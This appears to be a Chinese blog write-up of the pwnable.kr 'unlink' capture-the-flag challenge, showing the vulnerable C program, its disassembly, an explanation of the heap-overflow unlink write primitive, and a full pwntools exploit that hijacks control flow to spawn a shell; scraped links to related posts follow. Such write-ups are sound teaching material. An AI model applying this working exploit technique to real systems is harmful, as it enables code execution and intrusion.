pwnable.kr之unlink

之前在看别的东西,学习的随笔也没有写完......颓了几天。

由于最近在看堆,就把pwnable.kr上unlink这道题做一下,学习一下。

1.程序分析

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. typedef struct tagOBJ{
  5. struct tagOBJ* fd;
  6. struct tagOBJ* bk;
  7. char buf[8];
  8. }OBJ;
  9.  
  10. void shell(){
  11. system("/bin/sh");
  12. }
  13.  
  14. void unlink(OBJ* P){
  15. OBJ* BK;
  16. OBJ* FD;
  17. BK=P->bk;
  18. FD=P->fd;
  19. FD->bk=BK;
  20. BK->fd=FD;
  21. }
  22. int main(int argc, char* argv[]){
  23. malloc(1024);
  24. OBJ* A = (OBJ*)malloc(sizeof(OBJ));
  25. OBJ* B = (OBJ*)malloc(sizeof(OBJ));
  26. OBJ* C = (OBJ*)malloc(sizeof(OBJ));
  27.  
  28. // double linked list: A <-> B <-> C
  29. A->fd = B;
  30. B->bk = A;
  31. B->fd = C;
  32. C->bk = B;
  33.  
  34. printf("here is stack address leak: %p\n", &A);
  35. printf("here is heap address leak: %p\n", A);
  36. printf("now that you have leaks, get shell!\n");
  37. // heap overflow!
  38. gets(A->buf);
  39.  
  40. // exploit this unlink!
  41. unlink(B);
  42. return 0;
  43. }

给出的源码如下。程序实现了一个结构体,指针域是两个指针,数据域是一个8字节大小的字符数组,其实就是模拟了一个chunk块,后面的unlink函数模拟了早期glibc中unlink函数解链表的形式。

程序的结尾有一个gets函数,向结构体A的buf中填充数据,可以看到这里对输入数据的大小没有做检查,所以存在堆溢出,我们应该可以覆盖B结构体的fd指针和bk指针。

这里泄露出了A在栈中的地址,以及A的堆地址。

gdb中调试一下,在输入‘abcd’之后,断点设在unlink函数中,A->buf地址保留在eax寄存器中,查看堆布局如下:

0x804b5b0是结构体A的首地址,可以看到,A的bk指针指向B,C的fd指针指向B。

unlink实现的功能其实入下:

  1. P->fd->bk=P->bk
  2. P->bk->fd=P->fd

覆盖B的bk和fd指针,可以进行两次任意写。IDA中伪代码如下:

  1. 0x8048539 <main+10>: push ebp
  2. 0x804853a <main+11>: mov ebp,esp
  3. 0x804853c <main+13>: push ecx
  4. => 0x804853d <main+14>: sub esp,0x14
  5. 0x8048540 <main+17>: sub esp,0xc
  6. 0x8048543 <main+20>: push 0x400
  7. 0x8048548 <main+25>: call 0x80483a0 <malloc@plt>
  8. 0x804854d <main+30>: add esp,0x10
  9. 0x8048550 <main+33>: sub esp,0xc
  10. 0x8048553 <main+36>: push 0x10
  11. 0x8048555 <main+38>: call 0x80483a0 <malloc@plt>
  12. 0x804855a <main+43>: add esp,0x10
  13. 0x804855d <main+46>: mov DWORD PTR [ebp-0x14],eax
  14. 0x8048560 <main+49>: sub esp,0xc
  15. 0x8048563 <main+52>: push 0x10
  16. 0x8048565 <main+54>: call 0x80483a0 <malloc@plt>
  17. 0x804856a <main+59>: add esp,0x10
  18. 0x804856d <main+62>: mov DWORD PTR [ebp-0xc],eax
  19. 0x8048570 <main+65>: sub esp,0xc
  20. 0x8048573 <main+68>: push 0x10
  21. 0x8048575 <main+70>: call 0x80483a0 <malloc@plt>
  22. 0x804857a <main+75>: add esp,0x10
  23. 0x804857d <main+78>: mov DWORD PTR [ebp-0x10],eax
  24. 0x8048580 <main+81>: mov eax,DWORD PTR [ebp-0x14]
  25. 0x8048583 <main+84>: mov edx,DWORD PTR [ebp-0xc]
  26. 0x8048586 <main+87>: mov DWORD PTR [eax],edx
  27. 0x8048588 <main+89>: mov edx,DWORD PTR [ebp-0x14]
  28. 0x804858b <main+92>: mov eax,DWORD PTR [ebp-0xc]
  29. 0x804858e <main+95>: mov DWORD PTR [eax+0x4],edx
  30. 0x8048591 <main+98>: mov eax,DWORD PTR [ebp-0xc]
  31. 0x8048594 <main+101>: mov edx,DWORD PTR [ebp-0x10]
  32. 0x8048597 <main+104>: mov DWORD PTR [eax],edx
  33. 0x8048599 <main+106>: mov eax,DWORD PTR [ebp-0x10]
  34. 0x804859c <main+109>: mov edx,DWORD PTR [ebp-0xc]
  35. 0x804859f <main+112>: mov DWORD PTR [eax+0x4],edx
  36. 0x80485a2 <main+115>: sub esp,0x8
  37. 0x80485a5 <main+118>: lea eax,[ebp-0x14]
  38. 0x80485a8 <main+121>: push eax
  39. 0x80485a9 <main+122>: push 0x8048698
  40. 0x80485ae <main+127>: call 0x8048380 <printf@plt>
  41. 0x80485b3 <main+132>: add esp,0x10
  42. 0x80485b6 <main+135>: mov eax,DWORD PTR [ebp-0x14]
  43. 0x80485b9 <main+138>: sub esp,0x8
  44. 0x80485bc <main+141>: push eax
  45. 0x80485bd <main+142>: push 0x80486b8
  46. 0x80485c2 <main+147>: call 0x8048380 <printf@plt>
  47. 0x80485c7 <main+152>: add esp,0x10
  48. 0x80485ca <main+155>: sub esp,0xc
  49. 0x80485cd <main+158>: push 0x80486d8
  50. 0x80485d2 <main+163>: call 0x80483b0 <puts@plt>
  51. 0x80485d7 <main+168>: add esp,0x10
  52. 0x80485da <main+171>: mov eax,DWORD PTR [ebp-0x14]
  53. 0x80485dd <main+174>: add eax,0x8
  54. 0x80485e0 <main+177>: sub esp,0xc
  55. 0x80485e3 <main+180>: push eax
  56. 0x80485e4 <main+181>: call 0x8048390 <gets@plt>
  57. 0x80485e9 <main+186>: add esp,0x10
  58. 0x80485ec <main+189>: sub esp,0xc
  59. 0x80485ef <main+192>: push DWORD PTR [ebp-0xc]
  60. 0x80485f2 <main+195>: call 0x8048504 <unlink>
  61. 0x80485f7 <main+200>: add esp,0x10
  62. 0x80485fa <main+203>: mov eax,0x0
  63. 0x80485ff <main+208>: mov ecx,DWORD PTR [ebp-0x4]
  64. 0x8048602 <main+211>: leave
  65. 0x8048603 <main+212>: lea esp,[ecx-0x4]
  66. 0x8048606 <main+215>: ret

主函数汇编代码如下。最后是把ecx-0x4=ebp-0x8地址处的值赋给了esp寄存器,ret把esp的值pop给eip寄存器。我们想要get shell,就要跳转到shell函数中,所以这里就要通过控制栈里的值来控制eip寄存器的值。

A,B,C结构体地址在栈中的布局如下所示:

我们要把shell函数的地址填充到ebp_0x8函数的地址处,也就是&A+0x12处。&A的地址,题目已经给我们了。

所以这里主要的问题就是如何填充堆空间了,再来理解一下unlink函数实现的功能:

假设我们把B的bk指针覆盖为“####”,fd指针覆盖为"$$$$",unlink函数就实现了一下功能:

BK=*(B+4)=####,把“####”赋给BK

FD=*(B)=$$$$,把“$$$$”赋给FD

FD->bk=BK=*($$$$+4)="####",就是把“####”写入地址“$$$$+4”处

BK->fd=*(####)="$$$$",就是把“$$$$”写入地址“####”处

  1. 0x80485ff <main+208>: mov ecx,DWORD PTR [ebp-0x4]
  2. 0x8048602 <main+211>: leave
  3. 0x8048603 <main+212>: lea esp,[ecx-0x4]
  4. 0x8048606 <main+215>: ret

我们把ecx-4指向的地址处的值,要覆盖为&shell_addr+4。

exp如下:

  1. from pwn import *
  2.  
  3. context.log_level="debug"
  4. DEBUG=0
  5. if DEBUG:
  6. io=process('./unlink')
  7. else:
  8. sh=ssh(host='pwnable.kr',port=2222,user='unlink',password='guest')
  9. io=sh.run("./unlink")
  10.  
  11. elf=ELF('./unlink')
  12. shell_addr=0x080484EC
  13.  
  14. io.recvuntil("here is stack address leak: ")
  15. leak_stack=int(io.recv(10),16)
  16. print("stack_addr:{}".format(hex(leak_stack)))
  17. io.recvuntil("here is heap address leak: ")
  18. leak_heap=int(io.recv(10),16)
  19. print("heap_addr:{}".format(hex(leak_heap)))
  20. io.recvline()
  21.  
  22. ebp_addr=leak_stack+0x14
  23. ecx_addr=ebp_addr-0x4
  24. padding='a'*8
  25.  
  26. payload=p32(shell_addr)+'a'*4+padding+p32(leak_heap+12)+p32(ebp_addr-4)
  27. io.send(payload)
  28. io.interactive()

pwnable.kr之unlink的更多相关文章

  1. 【pwnable.kr】 unlink

    pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...

  2. pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...

  3. pwnable.kr bof之write up

    这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...

  4. pwnable.kr col之write up

    Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...

  5. pwnable.kr brainfuck之write up

    I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...

  6. pwnable.kr login之write up

    main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...

  7. pwnable.kr详细通关秘籍(二)

    i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...

  8. pwnable.kr simple login writeup

    这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程   主要逻辑是输入一个字符串,base64解码后看是否与题目 ...

  9. pwnable.kr第二天

    3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...

随机推荐

  1. 【译】GO语言:管理多个错误

    原文:https://medium.com/a-journey-with-go/go-multiple-errors-management-a67477628cf1 ​ 关于开发者使用Go遇到的最大挑 ...

  2. 树莓派4B-SPI读写flash-FM25CL16B(同时支持FM25CL64等其它系列Flash)

    1.树莓派SPI介绍 4B的引脚如下图所示: 其中Pin19.21.23是SPI0,接口定义如下所示: 时钟(SPI CLK, SCLK) 主机输出.从机输入(MOSI) 主机输入.从机输出(MISO ...

  3. JSR - 133 都解决了哪些问题?

    究竟什么是内存模型? 在多处理系统中,每个 CPU 通常都包含一层或者多层内存缓存,这样设计的原因是为了加快数据访问速度(因为数据会更靠近处理器) 并且能够减少共享内存总线上的流量(因为可以满足许多内 ...

  4. MySql:mysql命令行导入导出sql文件

    命令行导入 方法一:未连接数据库时方法 #导入命令示例 mysql -h ip -u userName -p dbName < sqlFilePath (结尾没有分号) -h : 数据库所在的主 ...

  5. shell中的特殊变量IFS

    shell中特殊变量IFS的使用 IFS是内部字段分隔符(internal field separator).默认情况下,bash shell会将空格.制表符.换行符 当做字段分隔符. IFS=$'\ ...

  6. 使用命令行操作MySQL 及 语法

    在使用之前先要确保服务中的MySQL 已启动,否则会报错:ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061 ...

  7. 用swoole实现异步任务队列

    应用场景如下: 假如要发100封邮件,for循环100遍,这种方法显然是不可取的. 在一些比较繁杂的业务里,我们很可能有超过1万的邮件要群发.那我们怎么处理这个延迟的问题? 答案就是用异步.把&quo ...

  8. APP 抓包(应用层)

    0x01 前言: app抓包是逆向协议的前提,也是一个爬虫工程师的基本要求,最近发现这块知识非常欠缺就抓紧补补了(我太菜了) 然后接下来是通过vpn将流量导出到抓包软件的方式,而不是通过wifi设置代 ...

  9. fastposter发布1.4.2 跨语言的海报生成器

    fastposter发布1.4.2 跨语言的海报生成器 fastposter发布1.4.2 跨语言的海报生成器,一分钟完成海报开发 future: 完善docker镜像 引入异步asyncio 升级p ...

  10. P4827「国家集训队」 Crash 的文明世界

    「国家集训队」 Crash 的文明世界 提供一种不需要脑子的方法. 其实是看洛谷讨论版看出来的( (但是全网也就这一篇这个方法的题解了) 首先这是一个关于树上路径的问题,我们可以无脑上点分治. 考虑当 ...